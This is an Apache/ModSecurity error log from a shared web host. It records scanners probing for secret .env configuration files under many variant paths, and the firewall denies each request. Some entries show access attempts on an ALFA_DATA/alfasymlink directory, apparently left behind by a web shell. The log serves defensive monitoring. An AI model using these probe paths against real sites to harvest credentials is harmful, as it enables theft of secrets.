[Mon Oct 26 22:19:52.603210 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAKSM8F3ZZVbqNCqKaAXgAAAAo"]
[Mon Oct 26 22:19:52.603558 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAKSM8F3ZZVbqNCqKaAXgAAAAo"]
[Mon Oct 26 22:19:52.825632 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAKSM8F3ZZVbqNCqKaAXwAAAAo"]
[Mon Oct 26 22:19:52.825898 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAKSM8F3ZZVbqNCqKaAXwAAAAo"]
[Mon Oct 26 22:19:52.826281 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auAKSM8F3ZZVbqNCqKaAXwAAAAo"]
[Mon Oct 26 22:19:53.049866 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAKSc8F3ZZVbqNCqKaAYAAAAAo"]
[Mon Oct 26 22:19:53.050104 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAKSc8F3ZZVbqNCqKaAYAAAAAo"]
[Mon Oct 26 22:19:53.050437 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAKSc8F3ZZVbqNCqKaAYAAAAAo"]
[Mon Oct 26 22:19:53.313707 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAKSc8F3ZZVbqNCqKaAYQAAAAo"]
[Mon Oct 26 22:19:53.313982 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAKSc8F3ZZVbqNCqKaAYQAAAAo"]
[Mon Oct 26 22:19:53.314234 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAKSc8F3ZZVbqNCqKaAYQAAAAo"]
[Mon Oct 26 22:19:53.546699 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAKSc8F3ZZVbqNCqKaAYgAAAAo"]
[Mon Oct 26 22:19:53.546990 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAKSc8F3ZZVbqNCqKaAYgAAAAo"]
[Mon Oct 26 22:19:53.547303 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAKSc8F3ZZVbqNCqKaAYgAAAAo"]
[Mon Oct 26 22:19:53.783102 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auAKSc8F3ZZVbqNCqKaAYwAAAAo"]
[Mon Oct 26 22:19:53.783373 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auAKSc8F3ZZVbqNCqKaAYwAAAAo"]
[Mon Oct 26 22:19:53.783685 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auAKSc8F3ZZVbqNCqKaAYwAAAAo"]
[Mon Oct 26 22:19:54.011296 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auAKSs8F3ZZVbqNCqKaAZAAAAAo"]
[Mon Oct 26 22:19:54.011523 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auAKSs8F3ZZVbqNCqKaAZAAAAAo"]
[Mon Oct 26 22:19:54.011859 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auAKSs8F3ZZVbqNCqKaAZAAAAAo"]
[Mon Oct 26 22:19:54.146734 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.194.165.45:57056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:02.171318 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.232.82.72:31739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:06.155094 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 50.16.248.61:60375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0400:00/subsystem/devices/PNP0303:00/physical_node1/driver/unbind
[Mon Oct 26 22:20:18.147343 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.23.112.144:49624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:18.455636 2026] [authz_core:error] [pid 3138664:tid 3138664] [client 45.74.28.174:34014] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:20:18.614779 2026] [core:crit] [pid 3137125:tid 3137125] (13)Permission denied: [client 45.74.28.174:34018] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:20:22.140767 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 100.27.153.9:13139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:26.168469 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.235.158.19:43898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:32.970026 2026] [core:crit] [pid 3122519:tid 3122519] (13)Permission denied: [client 66.132.172.138:34394] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:20:33.145736 2026] [core:crit] [pid 3138664:tid 3138664] (13)Permission denied: [client 66.132.172.138:34414] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:20:34.156308 2026] [ssl:error] [pid 3137125:tid 3137125] (5)Input/output error: [client 3.208.156.9:61849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:38.164425 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.232.12.157:4634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:46.197538 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.70.209.13:50393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:50.320983 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.213.85.234:16302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:54.203639 2026] [ssl:error] [pid 3138664:tid 3138664] (70014)End of file found: [client 34.205.163.103:17462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:20:58.163929 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 34.205.163.103:21576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/PNP0501:00/subsystem/drivers/thermal/uevent
[Mon Oct 26 22:21:12.728544 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 185.191.171.8:15498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/cpu_partial
[Mon Oct 26 22:21:18.304665 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 52.4.238.8:40170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:21:22.300570 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.235.125.129:17302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:21:27.478164 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:50844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auAKpxeVSgSHzoeHTZ6biwAAAAg"]
[Mon Oct 26 22:21:27.478477 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:50844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auAKpxeVSgSHzoeHTZ6biwAAAAg"]
[Mon Oct 26 22:21:27.981675 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:50858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auAKp88F3ZZVbqNCqKaAaQAAAAo"]
[Mon Oct 26 22:21:27.981920 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:50858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auAKp88F3ZZVbqNCqKaAaQAAAAo"]
[Mon Oct 26 22:21:28.193123 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:50870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auAKqMSPa3-L2OSmntaJ8AAAAAI"]
[Mon Oct 26 22:21:28.193345 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:50870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auAKqMSPa3-L2OSmntaJ8AAAAAI"]
[Mon Oct 26 22:21:28.194419 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:50882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAKqLRvv9rueX6FuiOcmAAAAAM"]
[Mon Oct 26 22:21:28.194576 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:50882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAKqLRvv9rueX6FuiOcmAAAAAM"]
[Mon Oct 26 22:21:28.430563 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:50844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKpxeVSgSHzoeHTZ6biwAAAAg"]
[Mon Oct 26 22:21:28.742431 2026] [security2:error] [pid 3100940:tid 3100940] [client 34.79.59.9:50886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAKqD77nSD73jfhp0aF1gAAAAc"]
[Mon Oct 26 22:21:28.742700 2026] [security2:error] [pid 3100940:tid 3100940] [client 34.79.59.9:50886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAKqD77nSD73jfhp0aF1gAAAAc"]
[Mon Oct 26 22:21:28.868809 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:50858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKp88F3ZZVbqNCqKaAaQAAAAo"]
[Mon Oct 26 22:21:29.225847 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:50892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auAKqbHarSgES5WqcDhKjAAAAAU"]
